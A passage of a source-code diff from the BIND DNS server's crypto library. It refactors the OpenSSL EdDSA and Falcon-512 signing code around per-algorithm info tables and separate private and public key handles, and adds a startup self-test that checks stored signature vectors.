 #define DST_RET(a)        \
 	{                 \
@@ -55,28 +53,44 @@
 #endif /* ifndef NID_ED448 */
 #endif /* HAVE_OPENSSL_ED448 */
 
-static isc_result_t
-raw_key_to_ossl(unsigned int key_alg, int private, const unsigned char *key,
-		size_t *key_len, EVP_PKEY **pkey) {
-	isc_result_t ret;
-	int pkey_type = EVP_PKEY_NONE;
-	size_t len = 0;
+typedef struct eddsa_alginfo {
+	int pkey_type, nid;
+	unsigned int key_size, sig_size;
+} eddsa_alginfo_t;
 
+static const eddsa_alginfo_t *
+openssleddsa_alg_info(unsigned int key_alg) {
 #if HAVE_OPENSSL_ED25519
 	if (key_alg == DST_ALG_ED25519) {
-		pkey_type = EVP_PKEY_ED25519;
-		len = DNS_KEY_ED25519SIZE;
+		static const eddsa_alginfo_t ed25519_alginfo = {
+			.pkey_type = EVP_PKEY_ED25519,
+			.nid = NID_ED25519,
+			.key_size = DNS_KEY_ED25519SIZE,
+			.sig_size = DNS_SIG_ED25519SIZE,
+		};
+		return &ed25519_alginfo;
 	}
 #endif /* HAVE_OPENSSL_ED25519 */
 #if HAVE_OPENSSL_ED448
 	if (key_alg == DST_ALG_ED448) {
-		pkey_type = EVP_PKEY_ED448;
-		len = DNS_KEY_ED448SIZE;
+		static const eddsa_alginfo_t ed448_alginfo = {
+			.pkey_type = EVP_PKEY_ED448,
+			.nid = NID_ED448,
+			.key_size = DNS_KEY_ED448SIZE,
+			.sig_size = DNS_SIG_ED448SIZE,
+		};
+		return &ed448_alginfo;
 	}
 #endif /* HAVE_OPENSSL_ED448 */
-	if (pkey_type == EVP_PKEY_NONE) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
+	return NULL;
+}
+
+static isc_result_t
+raw_key_to_ossl(const eddsa_alginfo_t *alginfo, int private,
+		const unsigned char *key, size_t *key_len, EVP_PKEY **pkey) {
+	isc_result_t ret;
+	int pkey_type = alginfo->pkey_type;
+	size_t len = alginfo->key_size;
 
 	ret = (private ? DST_R_INVALIDPRIVATEKEY : DST_R_INVALIDPUBLICKEY);
 	if (*key_len < len) {
@@ -103,10 +117,11 @@ openssleddsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 static isc_result_t
 openssleddsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 	isc_buffer_t *buf = NULL;
+	const eddsa_alginfo_t *alginfo =
+		openssleddsa_alg_info(dctx->key->key_alg);
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_allocate(dctx->mctx, &buf, 64);
 	dctx->ctxdata.generic = buf;
@@ -117,9 +132,10 @@ openssleddsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 static void
 openssleddsa_destroyctx(dst_context_t *dctx) {
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
+	const eddsa_alginfo_t *alginfo =
+		openssleddsa_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 	if (buf != NULL) {
 		isc_buffer_free(&buf);
 	}
@@ -133,9 +149,10 @@ openssleddsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
 	isc_region_t r;
 	unsigned int length;
 	isc_result_t result;
+	const eddsa_alginfo_t *alginfo =
+		openssleddsa_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	result = isc_buffer_copyregion(buf, data);
 	if (result == ISC_R_SUCCESS) {
@@ -159,24 +176,19 @@ openssleddsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	dst_key_t *key = dctx->key;
 	isc_region_t tbsreg;
 	isc_region_t sigreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.priv;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
 	size_t siglen;
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	if (key->key_alg == DST_ALG_ED25519) {
-		siglen = DNS_SIG_ED25519SIZE;
-	} else {
-		siglen = DNS_SIG_ED448SIZE;
-	}
-
+	siglen = alginfo->sig_size;
 	isc_buffer_availableregion(sig, &sigreg);
 	if (sigreg.length < (unsigned int)siglen) {
 		DST_RET(ISC_R_NOSPACE);
@@ -189,7 +201,8 @@ openssleddsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 			dctx->category, "EVP_DigestSignInit", ISC_R_FAILURE));
 	}
 	if (EVP_DigestSign(ctx, sigreg.base, &siglen, tbsreg.base,
-			   tbsreg.length) != 1) {
+			   tbsreg.length) != 1)
+	{
 		DST_RET(dst__openssl_toresult3(dctx->category, "EVP_DigestSign",
 					       DST_R_SIGNFAILURE));
 	}
@@ -210,34 +223,19 @@ openssleddsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	dst_key_t *key = dctx->key;
 	int status;
 	isc_region_t tbsreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	unsigned int siglen = 0;
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
-		return (ISC_R_NOMEMORY);
+		return (dst__openssl_toresult(ISC_R_NOMEMORY));
 	}
 
-#if HAVE_OPENSSL_ED25519
-	if (key->key_alg == DST_ALG_ED25519) {
-		siglen = DNS_SIG_ED25519SIZE;
-	}
-#endif /* if HAVE_OPENSSL_ED25519 */
-#if HAVE_OPENSSL_ED448
-	if (key->key_alg == DST_ALG_ED448) {
-		siglen = DNS_SIG_ED448SIZE;
-	}
-#endif /* if HAVE_OPENSSL_ED448 */
-	if (siglen == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if (sig->length != siglen) {
-		return (DST_R_VERIFYFAILURE);
+	if (sig->length != alginfo->sig_size) {
+		DST_RET(DST_R_VERIFYFAILURE);
 	}
 
 	isc_buffer_usedregion(buf, &tbsreg);
@@ -247,7 +245,7 @@ openssleddsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 			dctx->category, "EVP_DigestVerifyInit", ISC_R_FAILURE));
 	}
 
-	status = EVP_DigestVerify(ctx, sig->base, siglen, tbsreg.base,
+	status = EVP_DigestVerify(ctx, sig->base, sig->length, tbsreg.base,
 				  tbsreg.length);
 
 	switch (status) {
@@ -271,54 +269,19 @@ openssleddsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	return (ret);
 }
 
-static bool
-openssleddsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	int status;
-	EVP_PKEY *pkey1 = key1->keydata.pkey;
-	EVP_PKEY *pkey2 = key2->keydata.pkey;
-
-	if (pkey1 == NULL && pkey2 == NULL) {
-		return (true);
-	} else if (pkey1 == NULL || pkey2 == NULL) {
-		return (false);
-	}
-
-	status = EVP_PKEY_cmp(pkey1, pkey2);
-	if (status == 1) {
-		return (true);
-	}
-	return (false);
-}
-
 static isc_result_t
 openssleddsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	isc_result_t ret;
 	EVP_PKEY *pkey = NULL;
 	EVP_PKEY_CTX *ctx = NULL;
-	int nid = 0, status;
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
+	int status;
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 	UNUSED(unused);
 	UNUSED(callback);
 
-#if HAVE_OPENSSL_ED25519
-	if (key->key_alg == DST_ALG_ED25519) {
-		nid = NID_ED25519;
-		key->key_size = DNS_KEY_ED25519SIZE * 8;
-	}
-#endif /* if HAVE_OPENSSL_ED25519 */
-#if HAVE_OPENSSL_ED448
-	if (key->key_alg == DST_ALG_ED448) {
-		nid = NID_ED448;
-		key->key_size = DNS_KEY_ED448SIZE * 8;
-	}
-#endif /* if HAVE_OPENSSL_ED448 */
-	if (nid == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	ctx = EVP_PKEY_CTX_new_id(nid, NULL);
+	ctx = EVP_PKEY_CTX_new_id(alginfo->nid, NULL);
 	if (ctx == NULL) {
 		return (dst__openssl_toresult2("EVP_PKEY_CTX_new_id",
 					       DST_R_OPENSSLFAILURE));
@@ -336,7 +299,9 @@ openssleddsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 					       DST_R_OPENSSLFAILURE));
 	}
 
-	key->keydata.pkey = pkey;
+	key->key_size = alginfo->key_size * 8;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	ret = ISC_R_SUCCESS;
 
 err:
@@ -344,57 +309,25 @@ openssleddsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	return (ret);
 }
 
-static bool
-openssleddsa_isprivate(const dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	size_t len;
-
-	if (pkey == NULL) {
-		return (false);
-	}
-
-	if (EVP_PKEY_get_raw_private_key(pkey, NULL, &len) == 1 && len > 0) {
-		return (true);
-	}
-	/* can check if first error is EC_R_INVALID_PRIVATE_KEY */
-	while (ERR_get_error() != 0) {
-		/**/
-	}
-
-	return (false);
-}
-
-static void
-openssleddsa_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-
-	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
-}
-
 static isc_result_t
 openssleddsa_todns(const dst_key_t *key, isc_buffer_t *data) {
-	EVP_PKEY *pkey = key->keydata.pkey;
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	isc_region_t r;
 	size_t len;
 
 	REQUIRE(pkey != NULL);
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-
-	if (key->key_alg == DST_ALG_ED25519) {
-		len = DNS_KEY_ED25519SIZE;
-	} else {
-		len = DNS_KEY_ED448SIZE;
-	}
+	REQUIRE(alginfo != NULL);
 
+	len = alginfo->key_size;
 	isc_buffer_availableregion(data, &r);
 	if (r.length < len) {
 		return (ISC_R_NOSPACE);
 	}
 
-	if (EVP_PKEY_get_raw_public_key(pkey, r.base, &len) != 1)
+	if (EVP_PKEY_get_raw_public_key(pkey, r.base, &len) != 1) {
 		return (dst__openssl_toresult(ISC_R_FAILURE));
+	}
 
 	isc_buffer_add(data, len);
 	return (ISC_R_SUCCESS);
@@ -402,13 +335,13 @@ openssleddsa_todns(const dst_key_t *key, isc_buffer_t *data) {
 
 static isc_result_t
 openssleddsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
 	isc_result_t ret;
 	isc_region_t r;
 	size_t len;
-	EVP_PKEY *pkey;
+	EVP_PKEY *pkey = NULL;
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
@@ -416,28 +349,29 @@ openssleddsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	}
 
 	len = r.length;
-	ret = raw_key_to_ossl(key->key_alg, 0, r.base, &len, &pkey);
-	if (ret != ISC_R_SUCCESS)
+	ret = raw_key_to_ossl(alginfo, 0, r.base, &len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
 		return ret;
+	}
 
 	isc_buffer_forward(data, len);
-	key->keydata.pkey = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	key->key_size = len * 8;
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 openssleddsa_tofile(const dst_key_t *key, const char *directory) {
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
 	isc_result_t ret;
 	dst_private_t priv;
 	unsigned char *buf = NULL;
 	size_t len;
 	int i;
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
-	if (key->keydata.pkey == NULL) {
+	if (key->keydata.pkeypair.pub == NULL) {
 		return (DST_R_NULLKEY);
 	}
 
@@ -448,16 +382,14 @@ openssleddsa_tofile(const dst_key_t *key, const char *directory) {
 
 	i = 0;
 
-	if (openssleddsa_isprivate(key)) {
-		if (key->key_alg == DST_ALG_ED25519) {
-			len = DNS_KEY_ED25519SIZE;
-		} else {
-			len = DNS_KEY_ED448SIZE;
-		}
+	if (dst__openssl_keypair_isprivate(key)) {
+		len = alginfo->key_size;
 		buf = isc_mem_get(key->mctx, len);
-		if (EVP_PKEY_get_raw_private_key(key->keydata.pkey, buf,
-						 &len) != 1)
+		if (EVP_PKEY_get_raw_private_key(key->keydata.pkeypair.priv,
+						 buf, &len) != 1)
+		{
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
+		}
 		priv.elements[i].tag = TAG_EDDSA_PRIVATEKEY;
 		priv.elements[i].length = len;
 		priv.elements[i].data = buf;
@@ -488,29 +420,18 @@ openssleddsa_tofile(const dst_key_t *key, const char *directory) {
 	return (ret);
 }
 
-static isc_result_t
-eddsa_check(EVP_PKEY *pkey, EVP_PKEY *pubpkey) {
-	if (pubpkey == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-	if (EVP_PKEY_cmp(pkey, pubpkey) == 1) {
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_FAILURE);
-}
-
 static isc_result_t
 openssleddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
 	dst_private_t priv;
 	isc_result_t ret;
 	int i, privkey_index = -1;
 	const char *engine = NULL, *label = NULL;
-	EVP_PKEY *pkey = NULL, *pubpkey = NULL;
+	EVP_PKEY *pkey = NULL;
 	size_t len;
 	isc_mem_t *mctx = key->mctx;
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
+	REQUIRE(alginfo != NULL);
 
 	/* read private key file */
 	ret = dst__privstruct_parse(key, DST_ALG_ED25519, lexer, mctx, &priv);
@@ -525,15 +446,11 @@ openssleddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 		if (pub == NULL) {
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
-	}
-
-	if (pub != NULL) {
-		pubpkey = pub->keydata.pkey;
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		pub->keydata.pkeypair.priv = NULL;
+		pub->keydata.pkeypair.pub = NULL;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
 	for (i = 0; i < priv.nelements; i++) {
@@ -557,7 +474,10 @@ openssleddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 		if (ret != ISC_R_SUCCESS) {
 			goto err;
 		}
-		if (eddsa_check(key->keydata.pkey, pubpkey) != ISC_R_SUCCESS) {
+		/* Check that the public component matches if given */
+		if (pub != NULL && EVP_PKEY_eq(key->keydata.pkeypair.pub,
+					       pub->keydata.pkeypair.pub) != 1)
+		{
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
 		DST_RET(ISC_R_SUCCESS);
@@ -568,20 +488,24 @@ openssleddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	}
 
 	len = priv.elements[privkey_index].length;
-	ret = raw_key_to_ossl(key->key_alg, 1,
-			      priv.elements[privkey_index].data, &len, &pkey);
+	ret = raw_key_to_ossl(alginfo, 1, priv.elements[privkey_index].data,
+			      &len, &pkey);
 	if (ret != ISC_R_SUCCESS) {
 		goto err;
 	}
-	if (eddsa_check(pkey, pubpkey) != ISC_R_SUCCESS) {
-		EVP_PKEY_free(pkey);
+	/* Check that the public component matches if given */
+	if (pub != NULL && EVP_PKEY_eq(pkey, pub->keydata.pkeypair.pub) != 1) {
 		DST_RET(DST_R_INVALIDPRIVATEKEY);
 	}
-	key->keydata.pkey = pkey;
+
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	key->key_size = len * 8;
+	pkey = NULL;
 	ret = ISC_R_SUCCESS;
 
 err:
+	EVP_PKEY_free(pkey);
 	dst__privstruct_free(&priv, mctx);
 	isc_safe_memwipe(&priv, sizeof(priv));
 	return (ret);
@@ -590,74 +514,33 @@ openssleddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 static isc_result_t
 openssleddsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 		       const char *pin) {
-#if !defined(OPENSSL_NO_ENGINE)
+	const eddsa_alginfo_t *alginfo = openssleddsa_alg_info(key->key_alg);
+	EVP_PKEY *privpkey = NULL, *pubpkey = NULL;
 	isc_result_t ret;
-	ENGINE *e;
-	EVP_PKEY *pkey = NULL, *pubpkey = NULL;
-	int baseid = EVP_PKEY_NONE;
 
+	REQUIRE(alginfo != NULL);
 	UNUSED(pin);
 
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-
-#if HAVE_OPENSSL_ED25519
-	if (key->key_alg == DST_ALG_ED25519) {
-		baseid = EVP_PKEY_ED25519;
-	}
-#endif /* if HAVE_OPENSSL_ED25519 */
-#if HAVE_OPENSSL_ED448
-	if (key->key_alg == DST_ALG_ED448) {
-		baseid = EVP_PKEY_ED448;
-	}
-#endif /* if HAVE_OPENSSL_ED448 */
-	if (baseid == EVP_PKEY_NONE) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if (engine == NULL) {
-		return (DST_R_NOENGINE);
-	}
-	e = dst__openssl_getengine(engine);
-	if (e == NULL) {
-		return (DST_R_NOENGINE);
-	}
-	pkey = ENGINE_load_private_key(e, label, NULL, NULL);
-	if (pkey == NULL) {
-		return (dst__openssl_toresult2("ENGINE_load_private_key",
-					       ISC_R_NOTFOUND));
-	}
-	if (EVP_PKEY_base_id(pkey) != baseid) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
+	ret = dst__openssl_fromlabel(alginfo->pkey_type, engine, label, pin,
+				     &pubpkey, &privpkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	pubpkey = ENGINE_load_public_key(e, label, NULL, NULL);
-	if (eddsa_check(pkey, pubpkey) != ISC_R_SUCCESS) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
+	if (engine != NULL) {
+		key->engine = isc_mem_strdup(key->mctx, engine);
 	}
-
-	key->engine = isc_mem_strdup(key->mctx, engine);
 	key->label = isc_mem_strdup(key->mctx, label);
-	key->key_size = EVP_PKEY_bits(pkey);
-	key->keydata.pkey = pkey;
-	pkey = NULL;
-	ret = ISC_R_SUCCESS;
+	key->key_size = EVP_PKEY_bits(privpkey);
+	key->keydata.pkeypair.priv = privpkey;
+	key->keydata.pkeypair.pub = pubpkey;
+	privpkey = NULL;
+	pubpkey = NULL;
 
 err:
-	if (pubpkey != NULL) {
-		EVP_PKEY_free(pubpkey);
-	}
-	if (pkey != NULL) {
-		EVP_PKEY_free(pkey);
-	}
+	EVP_PKEY_free(privpkey);
+	EVP_PKEY_free(pubpkey);
 	return (ret);
-#else  /* if !defined(OPENSSL_NO_ENGINE) */
-	UNUSED(key);
-	UNUSED(engine);
-	UNUSED(label);
-	UNUSED(pin);
-	return (DST_R_NOENGINE);
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
 }
 
 static dst_func_t openssleddsa_functions = {
@@ -669,11 +552,11 @@ static dst_func_t openssleddsa_functions = {
 	openssleddsa_verify,
 	NULL, /*%< verify2 */
 	NULL, /*%< computesecret */
-	openssleddsa_compare,
+	dst__openssl_keypair_compare,
 	NULL, /*%< paramcompare */
 	openssleddsa_generate,
-	openssleddsa_isprivate,
-	openssleddsa_destroy,
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy,
 	openssleddsa_todns,
 	openssleddsa_fromdns,
 	openssleddsa_tofile,
@@ -684,11 +567,109 @@ static dst_func_t openssleddsa_functions = {
 	NULL, /*%< restore */
 };
 
+/*
+ * The test vectors below where generated by util/gen-eddsa-vectors.c
+ */
+#if HAVE_OPENSSL_ED448
+static unsigned char ed448_pub[] =
+	"\x0a\x19\x36\xf0\x4c\x2d\xc1\xfe\xbe\xdc\xfa\xf6\xeb\xd2\x8f\x3b\x04"
+	"\x14\x2e\x88\xc6\xb5\xdc\xe8\x2a\xc6\xb9\x7c\xa8\x22\xe8\x36\xfb\x06"
+	"\x55\xa3\x3c\xdb\x9d\x68\x59\x7e\xa9\x5f\x93\x96\x87\x83\x28\xce\xdd"
+	"\x12\xc9\xb8\x78\x02\x80";
+static unsigned char ed448_sig[] =
+	"\x7e\xec\x4e\x11\xd9\x79\x89\xd2\xe2\x85\x7a\x1c\xd7\x36\xe8\x24\x1f"
+	"\x90\xa0\x9c\x84\xfb\x51\xcd\xdc\xfd\x05\xcd\x8c\x08\x51\x05\x18\xc8"
+	"\x85\xb2\x28\x00\xea\xfe\x10\x46\xad\x52\xe6\xe9\x62\x35\x3b\x2a\x14"
+	"\x8b\xe7\xf0\x66\x5f\x00\x66\x3c\xa1\x4d\x03\x95\xcc\x73\xfc\xf2\x40"
+	"\x4b\x67\x85\x5b\x9f\xa9\x87\xb6\xbb\xa3\x9d\x73\x9f\xcb\x4e\x2c\xd2"
+	"\x46\xc7\x84\xd3\x7d\x94\x32\x30\x27\xb0\xa7\xf6\x6d\xf4\x77\xe8\xf5"
+	"\xb4\xee\x3f\x0e\x2b\x35\xdd\x5a\x35\xfe\x35\x00";
+#endif
+
+#if HAVE_OPENSSL_ED25519
+static unsigned char ed25519_pub[] =
+	"\x66\x5c\x21\x59\xe3\xa0\x6e\xa3\x7d\x82\x7c\xf1\xe7\xa3\xdd\xaf\xd1"
+	"\x6d\x92\x81\xfb\x09\x0c\x7c\xfe\x6d\xf8\x87\x24\x7e\x6e\x25";
+static unsigned char ed25519_sig[] =
+	"\x26\x70\x5c\xc1\x85\xb6\x5e\x65\xe5\xa7\xd5\x85\x63\xc9\x1d\x45\x56"
+	"\x38\xa3\x9c\xa3\x42\x4d\xc8\x89\xff\x84\xea\x2c\xa8\x8b\xfa\x2f\xab"
+	"\x75\x7c\x68\x95\xfd\xdf\x62\x60\x4e\x4d\x10\xf8\x3c\xae\xcf\x18\x93"
+	"\x90\x05\xa4\x54\x38\x45\x2f\x81\x71\x1e\x0f\x46\x04";
+#endif
+
+static isc_result_t
+check_algorithm(unsigned char algorithm) {
+	EVP_MD_CTX *evp_md_ctx = EVP_MD_CTX_create();
+	EVP_PKEY *pkey = NULL;
+	const eddsa_alginfo_t *alginfo = NULL;
+	const unsigned char *key = NULL;
+	const unsigned char *sig = NULL;
+	const unsigned char test[] = "test";
+	isc_result_t ret = ISC_R_SUCCESS;
+	size_t key_len, sig_len;
+
+	if (evp_md_ctx == NULL) {
+		DST_RET(ISC_R_NOMEMORY);
+	}
+
+	switch (algorithm) {
+#if HAVE_OPENSSL_ED448
+	case DST_ALG_ED448:
+		sig = ed448_sig;
+		sig_len = sizeof(ed448_sig) - 1;
+		key = ed448_pub;
+		key_len = sizeof(ed448_pub) - 1;
+		alginfo = openssleddsa_alg_info(algorithm);
+		break;
+#endif
+#if HAVE_OPENSSL_ED25519
+	case DST_ALG_ED25519:
+		sig = ed25519_sig;
+		sig_len = sizeof(ed25519_sig) - 1;
+		key = ed25519_pub;
+		key_len = sizeof(ed25519_pub) - 1;
+		alginfo = openssleddsa_alg_info(algorithm);
+		break;
+#endif
+	default:
+		DST_RET(ISC_R_NOTIMPLEMENTED);
+	}
+
+	INSIST(alginfo != NULL);
+	ret = raw_key_to_ossl(alginfo, 0, key, &key_len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
+	}
+
+	/*
+	 * Check that we can verify the signature.
+	 */
+	if (EVP_DigestVerifyInit(evp_md_ctx, NULL, NULL, NULL, pkey) != 1 ||
+	    EVP_DigestVerify(evp_md_ctx, sig, sig_len, test,
+			     sizeof(test) - 1) != 1)
+	{
+		DST_RET(ISC_R_NOTIMPLEMENTED);
+	}
+
+err:
+	if (pkey != NULL) {
+		EVP_PKEY_free(pkey);
+	}
+	if (evp_md_ctx != NULL) {
+		EVP_MD_CTX_destroy(evp_md_ctx);
+	}
+	ERR_clear_error();
+	return (ret);
+}
+
 isc_result_t
-dst__openssleddsa_init(dst_func_t **funcp) {
+dst__openssleddsa_init(dst_func_t **funcp, unsigned char algorithm) {
 	REQUIRE(funcp != NULL);
+
 	if (*funcp == NULL) {
-		*funcp = &openssleddsa_functions;
+		if (check_algorithm(algorithm) == ISC_R_SUCCESS) {
+			*funcp = &openssleddsa_functions;
+		}
 	}
 	return (ISC_R_SUCCESS);
 }
diff --git a/lib/dns/opensslfalcon512_link.c b/lib/dns/opensslfalcon512_link.c
index d6433abf0c..91a805ef5d 100644
--- a/lib/dns/opensslfalcon512_link.c
+++ b/lib/dns/opensslfalcon512_link.c
@@ -28,54 +28,72 @@
 
 #include <dns/keyvalues.h>
 
-#include <dst/result.h>
 
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
 
-#ifndef NID_X9_62_prime256v1
-#error "P-256 group is not known (NID_X9_62_prime256v1)"
-#endif /* ifndef NID_X9_62_prime256v1 */
-#ifndef NID_secp384r1
-#error "P-384 group is not known (NID_secp384r1)"
-#endif /* ifndef NID_secp384r1 */
-
-#define FALCON512_PUBLICKEY_SIZE 897
-#define FALCON512_PRIVATEKEY_SIZE 1281
-
-
 #define DST_RET(a)        \
 	{                 \
 		ret = a;  \
 		goto err; \
 	}
 
-static bool
-isprivate(EVP_PKEY *pkey) {
-	size_t len;
+#define FALCON512_PRIVATEKEYSIZE 1281
 
-	if (pkey == NULL) {
-		return (false);
+typedef struct falcon512_alginfo {
+	int pkey_type;
+	unsigned int key_size, priv_key_size, sig_size;
+} falcon512_alginfo_t;
+
+static const falcon512_alginfo_t *
+opensslfalcon512_alg_info(unsigned int key_alg) {
+	if (key_alg == DST_ALG_FALCON512) {
+		static const falcon512_alginfo_t falcon512_alginfo = {
+			.pkey_type = EVP_PKEY_FALCON512,
+			.key_size = DNS_KEY_FALCON512SIZE,
+			.priv_key_size = FALCON512_PRIVATEKEYSIZE,
+			.sig_size = DNS_SIG_FALCON512SIZE,
+		};
+		return &falcon512_alginfo;
 	}
+	return NULL;
+}
+
+static isc_result_t
+raw_key_to_ossl(const falcon512_alginfo_t *alginfo, int private,
+		const unsigned char *key, size_t *key_len, EVP_PKEY **pkey) {
+	isc_result_t ret;
+	int pkey_type = alginfo->pkey_type;
 
-	if (EVP_PKEY_get_raw_private_key(pkey, NULL, &len) == 1 && len > 0) {
-		return (true);
+	ret = (private ? DST_R_INVALIDPRIVATEKEY : DST_R_INVALIDPUBLICKEY);
+	if (private) {
+		if (*key_len < alginfo->priv_key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_private_key(pkey_type, NULL, key, alginfo->priv_key_size);
+	} else {
+		if (*key_len < alginfo->key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_public_key(pkey_type, NULL, key, alginfo->key_size);
 	}
-	/* can check if first error is EC_R_INVALID_PRIVATE_KEY */
-	while (ERR_get_error() != 0) {
-		/**/
+	if (*pkey == NULL) {
+		return (dst__openssl_toresult(ret));
 	}
-	return (false);
-
+	*key_len = (private ? alginfo->priv_key_size : alginfo->key_size);
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 opensslfalcon512_createctx(dst_key_t *key, dst_context_t *dctx) {
 	isc_buffer_t *buf = NULL;
+	const falcon512_alginfo_t *alginfo =
+		opensslfalcon512_alg_info(dctx->key->key_alg);
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_FALCON512);
+
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_allocate(dctx->mctx, &buf, 64);
 	dctx->ctxdata.generic = buf;
@@ -86,8 +104,11 @@ opensslfalcon512_createctx(dst_key_t *key, dst_context_t *dctx) {
 static void
 opensslfalcon512_destroyctx(dst_context_t *dctx) {
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
+	const falcon512_alginfo_t *alginfo =
+		opensslfalcon512_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_FALCON512);
+	REQUIRE(alginfo != NULL);
+	
 	if (buf != NULL) {
 		isc_buffer_free(&buf);
 	}
